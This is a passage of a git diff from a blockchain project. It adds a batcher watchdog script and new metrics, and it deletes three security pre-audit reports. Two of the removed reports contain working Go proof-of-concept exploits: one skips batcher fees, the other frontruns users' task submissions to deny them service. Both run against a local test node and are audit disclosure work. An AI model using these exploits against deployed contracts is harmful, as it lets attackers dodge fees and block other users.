blocks (~36 secs). So, if the `sent_batches` metrics is 0 it means there is a problem in the Batcher, for example a transaction is stuck in Ethereum and the Batcher is locked waiting for the transaction. If this happens, the Watchdog restarts the Batcher. + +## Configuration + +You need to create a .env file with the following variables + +``` +PROMETHEUS_URL=: +SYSTEMD_SERVICE=batcher +PROMETHEUS_COUNTER=sent_batches +PROMETHEUS_BOT=batcher +PROMETHEUS_INTERVAL=20m +SLACK_WEBHOOK_URL=<> +``` + +There is a `.env.example` file in this directory. + +## Run with Crontab + +Open the Crontab configuration with `crontab -e` and add the following line: + +``` +*/10 * * * * /path/to/watchdog/batcher_watchdog.sh /path/to/config/.env >> /path/to/logs/folder/batcher_watchdog.log 2>&1 +``` + +The cron interval has to be the half of PROMETHEUS_INTERVAL (PROMETHEUS_INTERVAL/2). + +You can check logs in the specified file, for example: + +``` +Tue Oct 15 08:00:01 UTC 2024: tasks created in the last 20m: "25" +Tue Oct 15 08:20:01 UTC 2024: tasks created in the last 20m: "2" +Tue Oct 15 08:40:01 UTC 2024: tasks created in the last 20m: "0" +Tue Oct 15 08:40:01 UTC 2024: restarting batcher +Tue Oct 15 08:40:01 UTC 2024: batcher restarted +``` diff --git a/infra/watchdog/batcher/batcher_watchdog.sh b/infra/watchdog/batcher/batcher_watchdog.sh new file mode 100644 index 000000000..47d8efd51 --- /dev/null +++ b/infra/watchdog/batcher/batcher_watchdog.sh @@ -0,0 +1,34 @@ +#!/bin/bash + +# Load env file from first parameter +# Env variables: +# - PROMETHEUS_URL +# - SYSTEMD_SERVICE +# - PROMETHEUS_COUNTER +# - PROMETHEUS_BOT +# - PROMETHEUS_INTERVAL +# - SLACK_WEBHOOK_URL +source $1 + +# Function to send slack message +# @param message +function send_slack_message() { + curl -X POST -H 'Content-type: application/json' \ + --data "{\"text\":\"$1\"}" \ + $SLACK_WEBHOOK_URL +} + +# Get rate from prometheus +rate=$(curl -gs 'http://'$PROMETHEUS_URL'/api/v1/query?query=floor(increase('$PROMETHEUS_COUNTER'{bot="'$PROMETHEUS_BOT'"}['$PROMETHEUS_INTERVAL']))' | jq '.data.result[0].value[1]') + +echo "$(date): tasks created in the last $PROMETHEUS_INTERVAL: $rate" + +# Check if rate is 0 +if [ "$rate" = \"0\" ]; then + # Restart systemd service + echo "$(date): restarting $SYSTEMD_SERVICE" + sudo systemctl restart $SYSTEMD_SERVICE + message="$(date): $SYSTEMD_SERVICE restarted by watchdog" + echo $message + send_slack_message "$message" +fi diff --git a/metrics/metrics.go b/metrics/metrics.go index 04001ba70..e76d83b7b 100644 --- a/metrics/metrics.go +++ b/metrics/metrics.go @@ -13,11 +13,14 @@ import ( ) type Metrics struct { - ipPortAddress string - logger logging.Logger - numAggregatedResponses prometheus.Counter - numAggregatorReceivedTasks prometheus.Counter - numOperatorTaskResponses prometheus.Counter + ipPortAddress string + logger logging.Logger + numAggregatedResponses prometheus.Counter + numAggregatorReceivedTasks prometheus.Counter + numOperatorTaskResponses prometheus.Counter + aggregatorGasCostPaidForBatcherTotal prometheus.Gauge + aggregatorNumTimesPaidForBatcher prometheus.Counter + numBumpedGasPriceForAggregatedResponse prometheus.Counter } const alignedNamespace = "aligned" @@ -41,6 +44,21 @@ func NewMetrics(ipPortAddress string, reg prometheus.Registerer, logger logging. Name: "aggregator_received_tasks", Help: "Number of tasks received by the Service Manager", }), + aggregatorGasCostPaidForBatcherTotal: promauto.With(reg).NewGauge(prometheus.GaugeOpts{ + Namespace: alignedNamespace, + Name: "aggregator_gas_cost_paid_for_batcher", + Help: "Accumulated gas cost the aggregator paid for the batcher when the tx cost was higher than the respondToTaskFeeLimit", + }), + aggregatorNumTimesPaidForBatcher: promauto.With(reg).NewCounter(prometheus.CounterOpts{ + Namespace: alignedNamespace, + Name: "aggregator_num_times_paid_for_batcher", + Help: "Number of times the aggregator paid for the batcher when the tx cost was higher than the respondToTaskFeeLimit", + }), + numBumpedGasPriceForAggregatedResponse: promauto.With(reg).NewCounter(prometheus.CounterOpts{ + Namespace: alignedNamespace, + Name: "respond_to_task_gas_price_bumped", + Help: "Number of times gas price was bumped while sending aggregated response", + }), } } @@ -86,3 +104,15 @@ func (m *Metrics) IncAggregatedResponses() { func (m *Metrics) IncOperatorTaskResponses() { m.numOperatorTaskResponses.Inc() } + +func (m *Metrics) IncAggregatorPaidForBatcher() { + m.aggregatorNumTimesPaidForBatcher.Inc() +} + +func (m *Metrics) AddAggregatorGasPaidForBatcher(value float64) { + m.aggregatorGasCostPaidForBatcherTotal.Add(value) +} + +func (m *Metrics) IncBumpedGasPriceForAggregatedResponse() { + m.numBumpedGasPriceForAggregatedResponse.Inc() +} diff --git a/operator/merkle_tree/lib/Cargo.lock b/operator/merkle_tree/lib/Cargo.lock index 6833d2572..c07c0a263 100644 --- a/operator/merkle_tree/lib/Cargo.lock +++ b/operator/merkle_tree/lib/Cargo.lock @@ -154,12 +154,6 @@ version = "0.21.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" -[[package]] -name = "base64" -version = "0.22.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" - [[package]] name = "base64ct" version = "1.6.0" @@ -847,7 +841,8 @@ dependencies = [ [[package]] name = "ethers" version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "816841ea989f0c69e459af1cf23a6b0033b19a55424a1ea3a30099becdb8dec0" dependencies = [ "ethers-addressbook", "ethers-contract", @@ -862,7 +857,8 @@ dependencies = [ [[package]] name = "ethers-addressbook" version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5495afd16b4faa556c3bba1f21b98b4983e53c1755022377051a975c3b021759" dependencies = [ "ethers-core", "once_cell", @@ -873,7 +869,8 @@ dependencies = [ [[package]] name = "ethers-contract" version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6fceafa3578c836eeb874af87abacfb041f92b4da0a78a5edd042564b8ecdaaa" dependencies = [ "const-hex", "ethers-contract-abigen", @@ -891,7 +888,8 @@ dependencies = [ [[package]] name = "ethers-contract-abigen" version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "04ba01fbc2331a38c429eb95d4a570166781f14290ef9fdb144278a90b5a739b" dependencies = [ "Inflector", "const-hex", @@ -914,7 +912,8 @@ dependencies = [ [[package]] name = "ethers-contract-derive" version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87689dcabc0051cde10caaade298f9e9093d65f6125c14575db3fd8c669a168f" dependencies = [ "Inflector", "const-hex", @@ -929,7 +928,8 @@ dependencies = [ [[package]] name = "ethers-core" version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "82d80cc6ad30b14a48ab786523af33b37f28a8623fc06afd55324816ef18fb1f" dependencies = [ "arrayvec", "bytes", @@ -958,7 +958,8 @@ dependencies = [ [[package]] name = "ethers-etherscan" version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e79e5973c26d4baf0ce55520bd732314328cabe53193286671b47144145b9649" dependencies = [ "chrono", "ethers-core", @@ -973,7 +974,8 @@ dependencies = [ [[package]] name = "ethers-middleware" version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48f9fdf09aec667c099909d91908d5eaf9be1bd0e2500ba4172c1d28bfaa43de" dependencies = [ "async-trait", "auto_impl", @@ -999,11 +1001,12 @@ dependencies = [ [[package]] name = "ethers-providers" version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6434c9a33891f1effc9c75472e12666db2fa5a0fec4b29af6221680a6fe83ab2" dependencies = [ "async-trait", "auto_impl", - "base64 0.22.1", + "base64 0.21.7", "bytes", "const-hex", "enr", @@ -1036,7 +1039,8 @@ dependencies = [ [[package]] name = "ethers-signers" version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "228875491c782ad851773b652dd8ecac62cda8571d3bc32a5853644dd26766c2" dependencies = [ "async-trait", "coins-bip32", @@ -1054,7 +1058,8 @@ dependencies = [ [[package]] name = "ethers-solc" version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "66244a771d9163282646dbeffe0e6eca4dda4146b6498644e678ac6089b11edd" dependencies = [ "cfg-if", "const-hex", diff --git a/operator/pkg/register.go b/operator/pkg/register.go index 76a0af3e1..dc186c54e 100644 --- a/operator/pkg/register.go +++ b/operator/pkg/register.go @@ -17,7 +17,7 @@ func RegisterOperator( configuration *config.OperatorConfig, operatorToAvsRegistrationSigSalt [32]byte, ) error { - writer, err := chainio.NewAvsWriterFromConfig(configuration.BaseConfig, configuration.EcdsaConfig) + writer, err := chainio.NewAvsWriterFromConfig(configuration.BaseConfig, configuration.EcdsaConfig, nil) if err != nil { configuration.BaseConfig.Logger.Error("Failed to create AVS writer", "err", err) return err diff --git a/pre_audits/fuzzing_labs/aligned_layer_service_manager_bypass_paying_batcher_fee.md b/pre_audits/fuzzing_labs/aligned_layer_service_manager_bypass_paying_batcher_fee.md deleted file mode 100644 index 17fc29436..000000000 --- a/pre_audits/fuzzing_labs/aligned_layer_service_manager_bypass_paying_batcher_fee.md +++ /dev/null @@ -1,244 +0,0 @@ -# A batch can be submitted without paying batcher fees - -**Author(s):** Mohammed Benhelli [@Fuzzinglabs](https://github.com/FuzzingLabs/) - -**Date:** 09/08/2024 - -### **Executive summary** - -During the process of auditing the code and developing fuzzing harnesses, we found that an AlignedLayer user can submit -a batch without paying the required fees to the batcher. This vulnerability can cause various issues: -- The economic model of the platform can be affected. -- Arbitrary URLs can be submitted. - -### Vulnerability Details - -- **Severity:** High -- **Affected Component:** `AlignedLayerServiceManager` contract. - - -## Environment - -- **Distro Version:** Ubuntu 22.04.4 LTS -- **Additional Environment Details:** go version go1.22.5 linux/amd64 - -### Root Cause Analysis - -The root cause of the vulnerability is that the `AlignedLayerServiceManager.createNewTask` can be called by anyone -instead of allowing only the `BatcherPaymentService`. - -```solidity -... -contract AlignedLayerServiceManager is - ... -{ - ... - function createNewTask( - bytes32 batchMerkleRoot, - string calldata batchDataPointer - ) external payable { - ... - if (msg.value > 0) { - batchersBalances[msg.sender] += msg.value; - } - - require(batchersBalances[msg.sender] > 0, "Batcher balance is empty"); - ... - } -} -``` - -Sending a transaction to the `createNewTask` function with only the aggregator fees will allow the user to validate a -batch without paying all the required fees. - - -### Reproducer - -1. Start an anvil node - ```shell - make anvil_start_with_block_time - ``` -2. Start the aggregator - ```shell - make aggregator_start - ``` -3. Start the batcher - ```shell - make batcher_start - ``` -4. Start the operator - ```shell - make operator_register_and_start - ``` -5. Create a file in your test folder with the following content - ```go - package no_fees_test - - import ( - "context" - "crypto/ecdsa" - "github.com/ethereum/go-ethereum/accounts/abi/bind" - "github.com/ethereum/go-ethereum/common" - "github.com/ethereum/go-ethereum/common/hexutil" - gethtypes "github.com/ethereum/go-ethereum/core/types" - "github.com/ethereum/go-ethereum/crypto" - "github.com/ethereum/go-ethereum/ethclient" - "github.com/ethereum/go-ethereum/params" - contractAlignedLayerServiceManager "github.com/yetanotherco/aligned_layer/contracts/bindings/AlignedLayerServiceManager" - "math/big" - "testing" - "time" - ) - - type AlignedUser struct { - Signer gethtypes.Signer - Client *ethclient.Client - PrivateKey *ecdsa.PrivateKey - UserAddress common.Address - Name string - } - - func NewAlignedUser(t *testing.T, privateKey []byte, client *ethclient.Client, addr common.Address, name string) *AlignedUser { - key, err := crypto.ToECDSA(privateKey) - if err != nil { - t.Fatalf("could not create private key: %s", err) - } - return &AlignedUser{ - Signer: gethtypes.NewCancunSigner(big.NewInt(31337)), - Client: client, - PrivateKey: key, - UserAddress: addr, - Name: name, - } - } - - func (u *AlignedUser) SendTransaction(tx *gethtypes.Transaction) error { - signedTx, err := gethtypes.SignTx(tx, u.Signer, u.PrivateKey) - if err != nil { - return err - } - return u.Client.SendTransaction(context.TODO(), signedTx) - } - - func (u *AlignedUser) getNonce() *big.Int { - nonce, err := u.Client.NonceAt(context.Background(), u.UserAddress, nil) - if err != nil { - panic(err) - } - return new(big.Int).SetUint64(nonce) - } - - func NewAnvilClient(t *testing.T) *ethclient.Client { - client, err := ethclient.Dial("http://localhost:8545") - if err != nil { - t.Fatalf("could not connect to anvil: %s", err) - } - return client - } - - var ( - alicePrivateKey = func() []byte { - key, err := hexutil.Decode("0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80") - if err != nil { - panic(err) - } - return key - }() - aliceAddress = func() common.Address { - addr, err := common.NewMixedcaseAddressFromString("0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266") - if err != nil { - panic(err) - } - return addr.Address() - }() - alignedLayerServiceManagerAddress = func() common.Address { - addr, err := common.NewMixedcaseAddressFromString("0x1613beB3B2C4f22Ee086B2b38C1476A3cE7f78E8") - if err != nil { - panic(err) - } - return addr.Address() - }() - ) - - func CreateNewTask(t *testing.T, user *AlignedUser, contractAddress common.Address, merkleRoot [32]byte, dataPointer string) { - serviceManager, err := contractAlignedLayerServiceManager.NewContractAlignedLayerServiceManager( - contractAddress, - user.Client, - ) - if err != nil { - t.Fatalf("could not create service manager: %s", err) - } - - createTx, err := serviceManager.CreateNewTask( - &bind.TransactOpts{ - From: user.UserAddress, - Nonce: user.getNonce(), - Signer: func(addr common.Address, tx *gethtypes.Transaction) (*gethtypes.Transaction, error) { - return gethtypes.SignTx(tx, user.Signer, user.PrivateKey) - }, - Value: new(big.Int).SetUint64(400_000_000_000_000), - GasLimit: params.GenesisGasLimit / 2, - }, - merkleRoot, - dataPointer, - ) - if err != nil { - t.Fatalf("could not create task: %s", err) - } - - i := 0 - r := new(gethtypes.Receipt) - for { - r, err = user.Client.TransactionReceipt(context.TODO(), createTx.Hash()) - if i > 10 { - return - } - i++ - if err != nil { - if err.Error() != "not found" { - t.Fatal(err) - } - time.Sleep(1 * time.Second) - continue - } - if r.Status != 0 { - break - } - time.Sleep(1 * time.Second) - } - - } - - func TestAlignedLayerServiceManagerCreateNewTaskNoFees(t *testing.T) { - client := NewAnvilClient(t) - alice := NewAlignedUser(t, alicePrivateKey, client, aliceAddress, "alice") - root, err := hexutil.Decode("0x6d98869357cfd232e6272bbce5c0174c27bf4580110a61dc048da1b5cccc9e8f") - if err != nil { - t.Fatalf("could not decode root: %s", err) - } - testCases := []struct { - merkleRoot [32]byte - dataPointer string - alignedUser *AlignedUser - }{ - { - merkleRoot: [32]byte(root), - dataPointer: "https://storage.alignedlayer.com/6d98869357cfd232e6272bbce5c0174c27bf4580110a61dc048da1b5cccc9e8f.json", - alignedUser: alice, - }, - } - - for _, tc := range testCases { - CreateNewTask(t, tc.alignedUser, alignedLayerServiceManagerAddress, tc.merkleRoot, tc.dataPointer) - } - } - ``` -6. Run the test - ```shell - go test -v -run TestAlignedLayerServiceManagerCreateNewTaskNoFees - ``` - -### Remediation - -Add a modifier to the `createNewTask` function to allow only the `BatcherPaymentService` to call it if only one -`BatcherPaymentService` will be deployed. \ No newline at end of file diff --git a/pre_audits/fuzzing_labs/aligned_layer_service_manager_create_task_dos.md b/pre_audits/fuzzing_labs/aligned_layer_service_manager_create_task_dos.md deleted file mode 100644 index 62cae86cb..000000000 --- a/pre_audits/fuzzing_labs/aligned_layer_service_manager_create_task_dos.md +++ /dev/null @@ -1,357 +0,0 @@ -# An Aligned user can be frontrun when creating a task leading to a user DoS - -**Author(s):** Mohammed Benhelli [@Fuzzinglabs](https://github.com/FuzzingLabs/) - -**Date:** 01/08/2024 - -### **Executive summary** - -During the process of auditing the code and developing fuzzing harnesses, we identified a method vulnerable to DoS -in the `AlignedLayerServiceManager.createNewTask` contract. The vulnerability allows an attacker to frontrun a user when -creating a task, leading to a user DoS. - -### Vulnerability Details - -- **Severity:** Medium -- **Affected Component:** `AlignedLayerServiceManager` contract. - - -## Environment - -- **Distro Version:** Ubuntu 22.04.4 LTS -- **Additional Environment Details:** go version go1.22.5 linux/amd64 - -### Root Cause Analysis - -This vulnerability is possible because the `createNewTask` function check if the `batchesState[batchMerkleRoot]` is -not initialized. A malicious user can frontrun a user by creating a task with the same `batchMerkleRoot` as the user -and setting the `batchesState[batchMerkleRoot]` to `true`. This will cause the targeted user's `createNewTask` to fail. - -```solidity -... -contract AlignedLayerServiceManager is - ... -{ - ... - function createNewTask( - bytes32 batchMerkleRoot, - string calldata batchDataPointer - ) external payable { - // ! Check if the batch was already submitted - require( - batchesState[batchMerkleRoot].taskCreatedBlock == 0, - "Batch was already submitted" - ); - ... - } -} - -``` -### Reproducer - -1. Start an anvil node - ```shell - make anvil_start_with_block_time - ``` -2. Create a file with the following content - ```go - package frontrunning_test - - import ( - "context" - "crypto/ecdsa" - "github.com/ethereum/go-ethereum/accounts/abi/bind" - "github.com/ethereum/go-ethereum/common" - "github.com/ethereum/go-ethereum/common/hexutil" - gethtypes "github.com/ethereum/go-ethereum/core/types" - "github.com/ethereum/go-ethereum/crypto" - "github.com/ethereum/go-ethereum/ethclient" - "github.com/ethereum/go-ethereum/params" - contractAlignedLayerServiceManager "github.com/yetanotherco/aligned_layer/contracts/bindings/AlignedLayerServiceManager" - "math/big" - "sync" - "testing" - "time" - ) - - type AlignedUser struct { - Signer gethtypes.Signer - Client *ethclient.Client - PrivateKey *ecdsa.PrivateKey - UserAddress common.Address - Name string - } - - func NewAlignedUser(t *testing.T, privateKey []byte, client *ethclient.Client, addr common.Address, name string) *AlignedUser { - key, err := crypto.ToECDSA(privateKey) - if err != nil { - t.Fatalf("could not create private key: %s", err) - } - return &AlignedUser{ - Signer: gethtypes.NewCancunSigner(big.NewInt(31337)), - Client: client, - PrivateKey: key, - UserAddress: addr, - Name: name, - } - } - - func (u *AlignedUser) SendTransaction(tx *gethtypes.Transaction) error { - signedTx, err := gethtypes.SignTx(tx, u.Signer, u.PrivateKey) - if err != nil { - return err - } - return u.Client.SendTransaction(context.TODO(), signedTx) - } - - func (u *AlignedUser) getNonce() *big.Int { - nonce, err := u.Client.NonceAt(context.Background(), u.UserAddress, nil) - if err != nil { - panic(err) - } - return new(big.Int).SetUint64(nonce) - } - - type RPCTransaction struct { - BlockHash *common.Hash `json:"blockHash"` - BlockNumber *hexutil.Big `json:"blockNumber"` - From common.Address `json:"from"` - Gas hexutil.Uint64 `json:"gas"` - GasPrice *hexutil.Big `json:"gasPrice"` - GasFeeCap *hexutil.Big `json:"maxFeePerGas,omitempty"` - GasTipCap *hexutil.Big `json:"maxPriorityFeePerGas,omitempty"` - MaxFeePerBlobGas *hexutil.Big `json:"maxFeePerBlobGas,omitempty"` - Hash common.Hash `json:"hash"` - Input hexutil.Bytes `json:"input"` - Nonce hexutil.Uint64 `json:"nonce"` - To *common.Address `json:"to"` - TransactionIndex *hexutil.Uint64 `json:"transactionIndex"` - Value *hexutil.Big `json:"value"` - Type hexutil.Uint64 `json:"type"` - ChainID *hexutil.Big `json:"chainId,omitempty"` - BlobVersionedHashes []common.Hash `json:"blobVersionedHashes,omitempty"` - V *hexutil.Big `json:"v"` - R *hexutil.Big `json:"r"` - S *hexutil.Big `json:"s"` - YParity *hexutil.Uint64 `json:"yParity,omitempty"` - } - - func (t RPCTransaction) GetMerkleRootAndDataPointer() ([32]byte, string) { - merkleRoot := [32]byte{} - copy(merkleRoot[:], t.Input[4:36]) - dataPointer := string(t.Input[36:]) - return merkleRoot, dataPointer - } - - func (t RPCTransaction) IsCreateNewTaskTransaction(address common.Address) bool { - return t.To != nil && t.To.String() == address.String() && len(t.Input) > 36 && t.Input[:4].String() == "0x5c008994" - } - - func NewAnvilClient(t *testing.T) *ethclient.Client { - client, err := ethclient.Dial("http://localhost:8545") - if err != nil { - t.Fatalf("could not connect to anvil: %s", err) - } - return client - } - - var ( - alicePrivateKey = func() []byte { - key, err := hexutil.Decode("0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80") - if err != nil { - panic(err) - } - return key - }() - aliceAddress = func() common.Address { - addr, err := common.NewMixedcaseAddressFromString("0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266") - if err != nil { - panic(err) - } - return addr.Address() - }() - bobPrivateKey = func() []byte { - key, err := hexutil.Decode("0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d") - if err != nil { - panic(err) - } - return key - }() - bobAddress = func() common.Address { - addr, err := common.NewMixedcaseAddressFromString("0x70997970C51812dc3A010C7d01b50e0d17dc79C8") - if err != nil { - panic(err) - } - return addr.Address() - }() - alignedLayerServiceManagerAddress = func() common.Address { - addr, err := common.NewMixedcaseAddressFromString("0x809d550fca64d94bd9f66e60752a544199cfac3d") - if err != nil { - panic(err) - } - return addr.Address() - }() - ) - - func CreateNewTask(t *testing.T, user *AlignedUser, contractAddress common.Address, merkleRoot [32]byte, dataPointer string) { - serviceManager, err := contractAlignedLayerServiceManager.NewContractAlignedLayerServiceManager( - contractAddress, - user.Client, - ) - if err != nil { - t.Fatalf("could not create service manager: %s", err) - } - - createTx, err := serviceManager.CreateNewTask( - &bind.TransactOpts{ - From: user.UserAddress, - Nonce: user.getNonce(), - Signer: func(addr common.Address, tx *gethtypes.Transaction) (*gethtypes.Transaction, error) { - return gethtypes.SignTx(tx, user.Signer, user.PrivateKey) - }, - Value: new(big.Int).SetUint64(1), - GasLimit: params.GenesisGasLimit / 2, - }, - merkleRoot, - dataPointer, - ) - if err != nil { - t.Fatalf("could not create task: %s", err) - } - - i := 0 - r := new(gethtypes.Receipt) - for { - r, err = user.Client.TransactionReceipt(context.TODO(), createTx.Hash()) - if i > 10 { - return - } - i++ - if err != nil { - if err.Error() != "not found" { - t.Fatal(err) - } - time.Sleep(1 * time.Second) - continue - } - if r.Status != 0 { - break - } - time.Sleep(1 * time.Second) - } - - } - - func FrontrunNewTask(t *testing.T, user *AlignedUser, contractAddress common.Address, tx RPCTransaction) { - merkleRoot, dataPointer := tx.GetMerkleRootAndDataPointer() - serviceManager, err := contractAlignedLayerServiceManager.NewContractAlignedLayerServiceManager( - contractAddress, - user.Client, - ) - if err != nil { - t.Fatalf("could not create service manager: %s", err) - } - - createTx, err := serviceManager.CreateNewTask( - &bind.TransactOpts{ - From: user.UserAddress, - Nonce: user.getNonce(), - Signer: func(addr common.Address, tx *gethtypes.Transaction) (*gethtypes.Transaction, error) { - return gethtypes.SignTx(tx, user.Signer, user.PrivateKey) - }, - Value: new(big.Int).SetUint64(1), - GasLimit: params.GenesisGasLimit, - GasPrice: new(big.Int).Mul(tx.GasPrice.ToInt(), big.NewInt(2)), - }, - merkleRoot, - dataPointer, - ) - if err != nil { - t.Fatalf("could not create task: %s", err) - } - - r := new(gethtypes.Receipt) - for { - r, err = user.Client.TransactionReceipt(context.TODO(), createTx.Hash()) - if err != nil { - if err.Error() != "not found" { - t.Fatal(err) - } - time.Sleep(1 * time.Second) - continue - } - if r.Status != 0 { - break - } - time.Sleep(1 * time.Second) - } - - t.Fatalf("The frontruning transaction was successful: %v", r) - } - - func FilterPendingTransactions(t *testing.T, user *AlignedUser, contractAddress common.Address, txs map[string]*RPCTransaction) { - for _, tx := range txs { - if tx.IsCreateNewTaskTransaction(contractAddress) { - t.Logf("frontrunning tx: %v", tx) - FrontrunNewTask(t, user, contractAddress, *tx) - return - } - } - } - - func ListenAndFrontrun(t *testing.T, user *AlignedUser, contractAddress common.Address) { - result := new(map[string]map[string]map[string]*RPCTransaction) - for { - // ? https://geth.ethereum.org/docs/interacting-with-geth/rpc/ns-txpool - if err := user.Client.Client().Call(result, "txpool_content"); err != nil { - t.Fatalf("could not call client: %s", err) - } - time.Sleep(100 * time.Millisecond) - if len((*result)["pending"]) != 0 { - for _, txs := range (*result)["pending"] { - FilterPendingTransactions(t, user, contractAddress, txs) - } - } - } - } - - func TestFrontrunAlignedLayerServiceManagerCreateNewTask(t *testing.T) { - client := NewAnvilClient(t) - alice := NewAlignedUser(t, alicePrivateKey, client, aliceAddress, "alice") - bob := NewAlignedUser(t, bobPrivateKey, client, bobAddress, "bob") - testCases := []struct { - merkleRoot [32]byte - dataPointer string - alignedUser *AlignedUser - }{ - { - merkleRoot: [32]byte{0x01}, - dataPointer: "0x01", - alignedUser: alice, - }, - } - - for _, tc := range testCases { - wg := new(sync.WaitGroup) - wg.Add(1) - go func() { - defer wg.Done() - ListenAndFrontrun(t, bob, alignedLayerServiceManagerAddress) - }() - time.Sleep(2 * time.Second) - CreateNewTask(t, tc.alignedUser, alignedLayerServiceManagerAddress, tc.merkleRoot, tc.dataPointer) - wg.Wait() - } - } - ``` -3. Run the test - ```shell - go test github.com/yetanotherco/aligned_layer/fuzzinglabs/frontrunning - ``` - -### Remediation - -Frontrun is a difficult issue to handle. -One possible way in this case would be to store the `batchesState[batchMerkleRoot]` in a mapping with the user address -as the key. Or using the `batchDataPointer` and `batchMerkleRoot` as a key in a mapping to store the state of the batch. -This way, someone front-running the user would only validate the batch. \ No newline at end of file diff --git a/pre_audits/fuzzing_labs/dangerous_ffi_pattern.md b/pre_audits/fuzzing_labs/dangerous_ffi_pattern.md deleted file mode 100644 index 386e61f5a..000000000 --- a/pre_audits/fuzzing_labs/dangerous_ffi_pattern.md +++ /dev/null @@ -1,225 +0,0 @@ -# A dangerous ffi pattern that lead to panic in `operator` - -**Author(s):** Mohammed Benhelli [@Fuzzinglabs](https://github.com/FuzzingLabs/) - -**Date:** 01/08/2024 - -### **Executive summary** - -During the process of auditing the code and developing fuzzing harnesses, we found a pattern that can lead to a panic in -the `getBatchFromS3` method of `Operator` for example. - -### Vulnerability Details - -- **Severity:** Medium -- **Affected Component:** - - `operator/sp1/sp1.go` - - `operator/risc_zero/risc_zero.go` - - `operator/merkle_tree/merkle_tree.go` - -## Environment - -- **Distro Version:** Ubuntu 22.04.4 LTS -- **Additional Environment Details:** go version go1.22.5 linux/amd64 - -## Semgrep rule -To track this pattern, we can use the following [semgrep](https://semgrep.dev/) rule: -```yaml -rules: - - id: unsafe-pointer-slice-access - patterns: - - pattern: | - func $FUNC(..., $PARAM []$TYPE, ...) $RET { - ... - $VAR := (*C.uchar)(unsafe.Pointer(&$PARAM[0])) - ... - } - message: | - Hardcoded access to the first element of a slice detected. - - For unsafe.Pointer(&$PARAM[0]): Consider checking slice length before access. - languages: [go] - severity: WARNING - metadata: - category: safety - technology: - - go - references: - - https://golang.org/pkg/unsafe/ - - https://blog.golang.org/slices - captures: - - name: SLICE - type: slice -``` - -And run it like this in the root of the project: -```sh -semgrep --config unsafe-pointer-slice-access.yaml . -``` - -## Semgrep matches -```txt -┌─────────────────┐ -│ 6 Code Findings │ -└─────────────────┘ - - operator/merkle_tree/merkle_tree.go - ❯❱ custom-rules.unsafe-pointer-slice-access - Hardcoded access to the first element of a slice detected. - For unsafe.Pointer(&batchBuffer[0]): - Consider checking slice length before access. - - 13┆ func VerifyMerkleTreeBatch(batchBuffer []byte, batchLen uint, merkleRootBuffer [32]byte) - bool { - 14┆ batchPtr := (*C.uchar)(unsafe.Pointer(&batchBuffer[0])) - 15┆ merkleRootPtr := (*C.uchar)(unsafe.Pointer(&merkleRootBuffer[0])) - 16┆ return (bool)(C.verify_merkle_tree_batch_ffi(batchPtr, (C.uint)(batchLen), - merkleRootPtr)) - 17┆ } - - operator/risc_zero/risc_zero.go - ❯❱ custom-rules.unsafe-pointer-slice-access - Hardcoded access to the first element of a slice detected. - For unsafe.Pointer(&imageIdBuffer[0]): - Consider checking slice length before access. - - 14┆ func VerifyRiscZeroReceipt(receiptBuffer []byte, receiptLen uint32, imageIdBuffer []byte, - imageIdLen uint32, publicInput []byte, publicInputLen uint32) bool { - 15┆ receiptPtr := (*C.uchar)(unsafe.Pointer(&receiptBuffer[0])) - 16┆ imageIdPtr := (*C.uchar)(unsafe.Pointer(&imageIdBuffer[0])) - 17┆ publicInputPtr := (*C.uchar)(unsafe.Pointer(&publicInput[0])) - 18┆ return (bool)(C.verify_risc_zero_receipt_ffi(receiptPtr, (C.uint32_t)(receiptLen), - imageIdPtr, 